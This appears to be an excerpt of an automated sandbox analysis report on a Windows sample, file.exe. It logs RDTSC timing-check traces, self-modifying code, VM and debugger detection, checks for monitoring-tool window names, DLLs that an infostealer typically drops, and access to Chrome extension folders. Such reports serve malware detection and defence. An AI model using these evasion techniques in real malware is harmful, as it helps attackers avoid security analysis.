Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0268 second address: 4CA026E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA026E second address: 4CA02CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC51CCBAE8Fh 0x00000013 sbb cx, 501Eh 0x00000018 jmp 00007FC51CCBAE99h 0x0000001d popfd 0x0000001e mov si, 95E7h 0x00000022 popad 0x00000023 xchg eax, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FC51CCBAE94h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02CE second address: 4CA02D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02D4 second address: 4CA0319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c jmp 00007FC51CCBAE90h 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 pushad 0x00000015 mov ax, 39FDh 0x00000019 movzx esi, bx 0x0000001c popad 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC51CCBAE91h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03AF second address: 4CA03B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03B5 second address: 4CA03E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC51CCBAE97h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03E1 second address: 4CA0418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov esi, edx 0x0000000d mov ecx, ebx 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC51CADF610h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0418 second address: 4CA051C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov edi, 34A326C0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007FC51CCBAE8Fh 0x00000014 push 00000000h 0x00000016 jmp 00007FC51CCBAE96h 0x0000001b push 00000000h 0x0000001d jmp 00007FC51CCBAE90h 0x00000022 push dword ptr [ebp+1Ch] 0x00000025 jmp 00007FC51CCBAE90h 0x0000002a push dword ptr [ebp+18h] 0x0000002d pushad 0x0000002e jmp 00007FC51CCBAE8Eh 0x00000033 popad 0x00000034 push dword ptr [ebp+14h] 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FC51CCBAE8Dh 0x0000003e and ax, 0836h 0x00000043 jmp 00007FC51CCBAE91h 0x00000048 popfd 0x00000049 pushfd 0x0000004a jmp 00007FC51CCBAE90h 0x0000004f sbb si, 5758h 0x00000054 jmp 00007FC51CCBAE8Bh 0x00000059 popfd 0x0000005a popad 0x0000005b push dword ptr [ebp+10h] 0x0000005e pushad 0x0000005f mov ax, 522Bh 0x00000063 pushfd 0x00000064 jmp 00007FC51CCBAE90h 0x00000069 jmp 00007FC51CCBAE95h 0x0000006e popfd 0x0000006f popad 0x00000070 push dword ptr [ebp+0Ch] 0x00000073 jmp 00007FC51CCBAE8Eh 0x00000078 push dword ptr [ebp+08h] 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA051C second address: 4CA0520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0520 second address: 4CA053D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA053D second address: 4CA054D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CADF60Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA054D second address: 4CA0551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80765 second address: 4C80774 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF60Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80774 second address: 4C807AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FC51CCBAE8Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx ebx, ax 0x00000017 mov esi, 1C7A27F5h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C807AE second address: 4C807B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C807B4 second address: 4C807B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C807B8 second address: 4C807BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80829 second address: 4C8082D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8082D second address: 4C80833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80833 second address: 4C80868 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC51CCBAE97h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80868 second address: 4C808A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 66BAh 0x00000007 jmp 00007FC51CADF60Bh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov edx, dword ptr [ebp+0Ch] 0x00000012 jmp 00007FC51CADF616h 0x00000017 mov esi, edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C808A0 second address: 4C808E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FC51CCBAE8Dh 0x00000014 add ax, 9DF6h 0x00000019 jmp 00007FC51CCBAE91h 0x0000001e popfd 0x0000001f mov ch, BAh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C808E7 second address: 4C80921 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF60Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC51CADF60Dh 0x00000013 or ax, 3A06h 0x00000018 jmp 00007FC51CADF611h 0x0000001d popfd 0x0000001e push eax 0x0000001f pop edx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80921 second address: 4C80993 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC51CCBAE93h 0x00000009 and cl, 0000003Eh 0x0000000c jmp 00007FC51CCBAE99h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FC51CCBAE90h 0x00000018 or ax, B638h 0x0000001d jmp 00007FC51CCBAE8Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 test al, al 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FC51CCBAE95h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80993 second address: 4C808E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FC51CADF617h 0x00000008 pop ecx 0x00000009 mov bh, AAh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007FC51CADF507h 0x00000014 mov al, byte ptr [edx] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FC51CADF60Dh 0x0000001f add ax, 9DF6h 0x00000024 jmp 00007FC51CADF611h 0x00000029 popfd 0x0000002a mov ch, BAh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A0B second address: 4C80A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A11 second address: 4C80A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A15 second address: 4C80A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A19 second address: 4C80A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, 7C71h 0x00000010 movzx eax, bx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A2D second address: 4C80A33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A33 second address: 4C80A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A37 second address: 4C80A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A3B second address: 4C80A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b pushad 0x0000000c mov eax, 3938B963h 0x00000011 call 00007FC51CADF618h 0x00000016 pop esi 0x00000017 popad 0x00000018 mov al, byte ptr [edi+01h] 0x0000001b pushad 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A6D second address: 4C80B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushfd 0x00000007 jmp 00007FC51CCBAE8Bh 0x0000000c or ecx, 424B28EEh 0x00000012 jmp 00007FC51CCBAE99h 0x00000017 popfd 0x00000018 pushfd 0x00000019 jmp 00007FC51CCBAE90h 0x0000001e and cl, 00000068h 0x00000021 jmp 00007FC51CCBAE8Bh 0x00000026 popfd 0x00000027 popad 0x00000028 popad 0x00000029 inc edi 0x0000002a pushad 0x0000002b mov ebx, 366B3FD6h 0x00000030 popad 0x00000031 test al, al 0x00000033 pushad 0x00000034 push edx 0x00000035 pushfd 0x00000036 jmp 00007FC51CCBAE96h 0x0000003b sbb ax, 6DF8h 0x00000040 jmp 00007FC51CCBAE8Bh 0x00000045 popfd 0x00000046 pop ecx 0x00000047 mov di, 513Ch 0x0000004b popad 0x0000004c jne 00007FC58CE22E0Ah 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FC51CCBAE8Eh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B11 second address: 4C80B17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B17 second address: 4C80B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B1B second address: 4C80B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC51CADF60Fh 0x00000011 xor ecx, 5BB15F1Eh 0x00000017 jmp 00007FC51CADF619h 0x0000001c popfd 0x0000001d movzx ecx, dx 0x00000020 popad 0x00000021 shr ecx, 02h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FC51CADF616h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B75 second address: 4C80B7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B7B second address: 4C80B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B7F second address: 4C80BA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx edx, cx 0x0000001b mov esi, 11A146CBh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BA0 second address: 4C80BA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BA6 second address: 4C80BC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007FC51CCBAE8Fh 0x0000000f and ecx, 03h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BC8 second address: 4C80BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BCC second address: 4C80BD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BD2 second address: 4C80BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CADF619h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BEF second address: 4C80C36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d jmp 00007FC51CCBAE8Eh 0x00000012 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FC51CCBAE97h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80C36 second address: 4C80C5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80C5B second address: 4C80C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80C5F second address: 4C80C65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80C65 second address: 4C80C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80C6D second address: 4C80CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, dword ptr [ebp-10h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, ch 0x0000000f pushfd 0x00000010 jmp 00007FC51CADF617h 0x00000015 sub eax, 3CE8AF7Eh 0x0000001b jmp 00007FC51CADF619h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80CB5 second address: 4C80CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CCBAE8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80CC5 second address: 4C80D4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f pushad 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007FC51CADF618h 0x00000017 sbb ah, FFFFFFD8h 0x0000001a jmp 00007FC51CADF60Bh 0x0000001f popfd 0x00000020 pop ecx 0x00000021 pushfd 0x00000022 jmp 00007FC51CADF619h 0x00000027 jmp 00007FC51CADF60Bh 0x0000002c popfd 0x0000002d popad 0x0000002e pop ecx 0x0000002f jmp 00007FC51CADF616h 0x00000034 pop edi 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov edx, 47CDD3B0h 0x0000003d mov di, 7ADCh 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80D4B second address: 4C80DE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC51CCBAE90h 0x00000009 sbb eax, 6CFF93F8h 0x0000000f jmp 00007FC51CCBAE8Bh 0x00000014 popfd 0x00000015 jmp 00007FC51CCBAE98h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pop esi 0x0000001e pushad 0x0000001f call 00007FC51CCBAE8Eh 0x00000024 mov ecx, 27F83321h 0x00000029 pop esi 0x0000002a pushfd 0x0000002b jmp 00007FC51CCBAE97h 0x00000030 jmp 00007FC51CCBAE93h 0x00000035 popfd 0x00000036 popad 0x00000037 pop ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC51CCBAE95h 0x0000003f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3BDB45 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5590D0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 57B830 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 55F558 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E0EDE instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6804

Thread sleep time: -34017s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C64EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2038565139.0000000000537000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWFH
Source: file.exe, 00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000F41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2038565139.0000000000537000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

